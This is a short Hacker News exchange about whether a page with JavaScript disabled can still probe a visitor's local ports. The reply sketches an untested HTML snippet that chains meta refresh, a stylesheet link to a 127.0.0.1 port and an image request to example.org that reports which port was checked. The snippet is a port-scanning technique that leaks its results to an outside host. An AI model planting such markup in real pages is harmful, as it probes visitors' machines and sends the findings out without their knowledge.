Hacker News new | ask | show | jobs
by ricardobeat 2224 days ago
If the page does not have JS running, how would it check the time elapsed? i'm not seeing the vulnerability with noscript here.
1 comments

Instead of merely printing 'ok', the page can request a resource from a server you control, eg via an <img> element.

You could probably even automate this via <meta http-equiv="refresh">, along the lines of (untested):

    <meta http-equiv="refresh" content="5; url=http://example.org/?query-port=43">
    <link rel="stylesheet" href="http://127.0.0.1:42">
    <img src="http://example.org/?checked-port=42">